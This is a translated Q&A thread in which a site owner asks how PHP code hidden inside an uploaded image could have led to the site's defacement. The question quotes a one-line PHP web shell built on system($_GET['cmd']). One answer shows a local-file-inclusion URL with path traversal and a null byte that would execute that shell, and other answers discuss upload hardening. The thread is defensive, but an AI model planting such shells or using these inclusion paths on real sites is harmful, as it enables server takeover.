【问题标题】:My php site was hacked by codes uploaded as image..?我的 php 网站被上传为图片的代码入侵..?
【发布时间】:2011-03-30 18:36:30
【问题描述】:

昨天我的网站被组成了。攻击者将 index.php 文件更改为他们自己的文件(以及他们所有的荣耀消息和问候)。我已将此通知托管公司(我们在专用服务器上运行),就我而言,我正在尝试修复任何似乎是原因的问题,因为我仍然无法指出我们的具体情况如何服务器遭到攻击,但我想我发现了某些可能是罪魁祸首的基于脚本的漏洞。

我们的网站有一个图片上传表单,但是所有上传的图片都是通过使用 php getimagesize 函数来验证它们是否确实是图片文件而不是一些代码。仅当图像类型为 IMAGETYPE_GIF、IMAGETYPE_JPEG 或 IMAGETYPE_PNG 时,它们才会被接受。否则,他们将无法上传文件。但是我发现一个上传的图像文件里面包含一个 php 脚本!您可以下载图片here。这是一个有效的图像文件,但尝试使用任何文本编辑器打开图像,您会在其中找到一个 php 代码:

<?php

echo "<pre>"; system($_GET['cmd']); echo "</pre>";

?>

例如,图片上传到此位置 (www.mysite.com/uploads/piccodes.jpg)。请注意,文件夹上传的权限是 755。世界上有什么方法可以让攻击者执行系统(或任何其他命令,例如 passthru,因为我们发现另一个图像隐藏了与上面相同的代码,但不是系统,它有 passthru 命令),例如,键入 www.mysite.com/uploads/picodes.jpg?cmd=some command ??据我所知,这是无法完成的(如果有人能证明我错了,真的很感激),除非攻击者可以将 jpg 文件重命名为 php,即使这样,这些代码也隐藏在图像的深处(请看里面的图像文本编辑器来理解我想说的话)

为预防起见,我已通过将这些 php 函数(exec、passthru、proc_close、proc_get_status、proc_nice、proc_open、proc_terminate、shell_exec、system)添加到 php.ini 中的 disable_functions 中来禁用它们。

无论如何,我仍然认为攻击者不是通过网络,而是通过服务器漏洞获得访问权限,但我认为我的托管公司不这么认为。

【问题讨论】:

  • 根据您的服务器配置,如果您的图像验证程序不检查文件名,则可能会被利用,例如如果攻击者上传的文件名称带有.php 扩展名。但这确实是服务器故障的问题。这是你想知道的吗?
  • 感谢david的回复,不过正如我上面提到的,所有上传的文件都是先检查的;只有当它们是图像文件(gif、jpg 或 png)时才会被接受。否则将被丢弃。因此,上传带有 .php 扩展名的文件或任何其他带有任何扩展名的原始代码肯定会失败。
  • 好吧,您说您使用getimagesize 来验证图像是否为图像,但该函数不检查文件扩展名。它只查看文件的内容。 (试试看:将picodes.jpg 重命名为picodes.php,看看getimagesize("picodes.php") 给了你什么。)所以你还需要明确检查文件上传的名称,并确保它与返回的图像类型匹配getimagesize.
  • 天啊...我怎么能忘记这种事??!!非常感谢大卫!
  • php_admin_flag engine off 对于您存储上传的所有目录/位置应该是 Apache 配置的一部分。

标签: php image security upload exploit


【解决方案1】:

带有任意 PHP 代码的图像文件不能通过直接请求来利用,例如http://www.mysite.com/uploads/image.jpg?cmd=somecode.

不过,它可以与本地文件包含漏洞一起使用。

例如,在 index.php 中你使用include('pages/' . $_GET['page'] . '.php');,那么攻击者可以上传带有 PHP 代码的图片并执行如下命令:http://www.mysite.com/index.php?page=../upload/image.jpg?cmd=somecode%00

UPD:将 URL 中的文件更改为页面

【讨论】:

【解决方案2】:

JPEG 文件中除了实际的图像数据外,还可以包含任意数据;这是规范的一部分。因此,仅检查图像是否为有效 JPEG 并不意味着该文件一定是完全无害的。

【讨论】:

  • 那么如何检查 jpg 文件是否真的无害呢?其他图像格式(png 和 gif)也可以包含任意数据吗?就像我上面的问题一样,即使他们设法上传了一个包含代码的图像文件,他们如何在不以某种方式将文件重命名为 php 的情况下执行它?
  • 没有真正 100% 的方法来确保任何文件都是无害的,更多的是你必须消除可能执行文件的方法(我真的不能给你太多帮助,尤其是不知道服务器设置的细节)。
  • hmm 非常感谢...我想我必须将任何上传图像转换为其他类型(例如,如果 jpg 然后将其转换为 gif、gif 转换为 jpg、png 转换为 jpg)以删除任何代码如果有的话,嵌入其中。无论如何,没有人会回答我他们将如何在不将图像文件重命名为 php 的情况下执行其中的代码?
  • @imin:正如我和 Amber 在 cmets 中暗示的那样,我们需要知道您的服务器设置的详细信息才能回答这个问题。
  • 不知道如何回答这个问题,因为我们的供应商设置了一切(我们相信他们会做得很好)。无论如何,基本上我们正在运行 PHP 版本 5.3.1、Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_jk/1.2.28 mod_perl /2.0.4 Perl/v5.8.8 服务器位于 www.trymasak.my 端口 80(全部取自 phpinfo())
【解决方案3】:

这可能不是您代码中的漏洞。几周前我也发生了同样的事情。虽然我所有的 index.php 文件都被删除了,即使是那些不能直接通过网络访问的文件。就我而言,这是 Linux 中的一个安全漏洞。与我的代码无关。这是我的托管服务提供商 (A2Hosting) 关于该问题的回复。一旦我说服他们这不是我做的任何事情,他们就会很快弄清楚。

“最近在 Linux 内核中的一个漏洞是 用于授予对用户目录的管理(root)访问权限 服务器。攻击包括删除在 目录并用攻击者想要的替换它们 内容:攻击者代号为“iSKORPiTX”的黑色网页 (土耳其黑客)”。这个黑客在整个互联网上都是大规模的,并且使用了 以前未知的漏洞,限制了我们预防它的能力。”

【讨论】:

    【解决方案4】:

    我的图像文件上传设置是:上传文件到临时文件夹,使用 imagecreatefromjpeg 或 imagecreatefrompng 或 imagecreatefromgif 创建新图像并保存,从临时文件夹中删除上传的文件(所有这些都发生在同一个脚本操作中,所以文件上传到temp 文件夹长期不存在)

    【讨论】:

    • 这是您认为的最安全的方式吗??
    • 这是一个非常安全的选项,因为脚本会在几分之一秒内删除上传的文件。
    猜你喜欢
    • 1970-01-01
    • 2015-01-26
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2015-12-06
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多